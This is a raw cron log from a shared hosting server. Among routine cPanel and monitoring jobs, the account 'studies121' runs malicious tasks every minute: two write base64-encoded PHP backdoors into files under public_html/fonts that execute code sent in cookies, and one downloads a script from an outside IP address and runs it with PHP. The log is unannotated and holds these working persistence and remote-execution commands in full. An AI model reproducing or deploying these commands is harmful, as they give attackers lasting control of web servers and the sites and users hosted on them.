Sep 21 20:24:01 ip-184-168-122-23 CROND[10933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:24:01 ip-184-168-122-23 CROND[10936]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:24:01 ip-184-168-122-23 CROND[10934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:24:01 ip-184-168-122-23 CROND[10937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:25:01 ip-184-168-122-23 CROND[11045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:25:01 ip-184-168-122-23 CROND[11047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:25:01 ip-184-168-122-23 CROND[11049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:25:01 ip-184-168-122-23 CROND[11048]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 20:25:01 ip-184-168-122-23 CROND[11051]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 21 20:25:01 ip-184-168-122-23 CROND[11054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:25:01 ip-184-168-122-23 CROND[11052]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 20:26:01 ip-184-168-122-23 CROND[11193]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 21 20:26:01 ip-184-168-122-23 CROND[11194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:26:01 ip-184-168-122-23 CROND[11196]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:26:01 ip-184-168-122-23 CROND[11197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:26:01 ip-184-168-122-23 CROND[11198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:26:01 ip-184-168-122-23 CROND[11199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 21 20:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 21 20:27:01 ip-184-168-122-23 CROND[11476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:27:01 ip-184-168-122-23 CROND[11477]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:27:01 ip-184-168-122-23 CROND[11480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:27:01 ip-184-168-122-23 CROND[11482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:28:02 ip-184-168-122-23 CROND[11579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:28:02 ip-184-168-122-23 CROND[11583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:28:02 ip-184-168-122-23 CROND[11582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:28:02 ip-184-168-122-23 CROND[11581]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:28:02 ip-184-168-122-23 CROND[11584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:29:01 ip-184-168-122-23 CROND[11685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:29:01 ip-184-168-122-23 CROND[11687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:29:01 ip-184-168-122-23 CROND[11686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:29:01 ip-184-168-122-23 CROND[11689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:30:01 ip-184-168-122-23 CROND[11805]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 20:30:01 ip-184-168-122-23 CROND[11806]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:30:01 ip-184-168-122-23 CROND[11811]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 20:30:01 ip-184-168-122-23 CROND[11810]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 21 20:30:01 ip-184-168-122-23 CROND[11812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:30:01 ip-184-168-122-23 CROND[11814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:30:01 ip-184-168-122-23 CROND[11819]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 20:30:01 ip-184-168-122-23 CROND[11818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:30:01 ip-184-168-122-23 CROND[11820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:31:01 ip-184-168-122-23 CROND[11946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:31:01 ip-184-168-122-23 CROND[11949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:31:01 ip-184-168-122-23 CROND[11948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:31:01 ip-184-168-122-23 CROND[11951]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 20:31:01 ip-184-168-122-23 CROND[11950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:32:01 ip-184-168-122-23 CROND[12056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:32:01 ip-184-168-122-23 CROND[12058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:32:01 ip-184-168-122-23 CROND[12059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:32:01 ip-184-168-122-23 CROND[12057]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:32:01 ip-184-168-122-23 CROND[12060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:33:01 ip-184-168-122-23 CROND[12160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:33:01 ip-184-168-122-23 CROND[12162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:33:01 ip-184-168-122-23 CROND[12165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:33:01 ip-184-168-122-23 CROND[12163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:34:01 ip-184-168-122-23 CROND[12538]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:34:01 ip-184-168-122-23 CROND[12541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:34:01 ip-184-168-122-23 CROND[12542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:34:01 ip-184-168-122-23 CROND[12540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:34:01 ip-184-168-122-23 CROND[12543]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:35:01 ip-184-168-122-23 CROND[12733]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 20:35:02 ip-184-168-122-23 CROND[12739]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 20:35:02 ip-184-168-122-23 CROND[12741]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 20:35:02 ip-184-168-122-23 CROND[12740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:35:02 ip-184-168-122-23 CROND[12744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:35:02 ip-184-168-122-23 CROND[12738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:35:02 ip-184-168-122-23 CROND[12737]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 20:35:02 ip-184-168-122-23 CROND[12745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
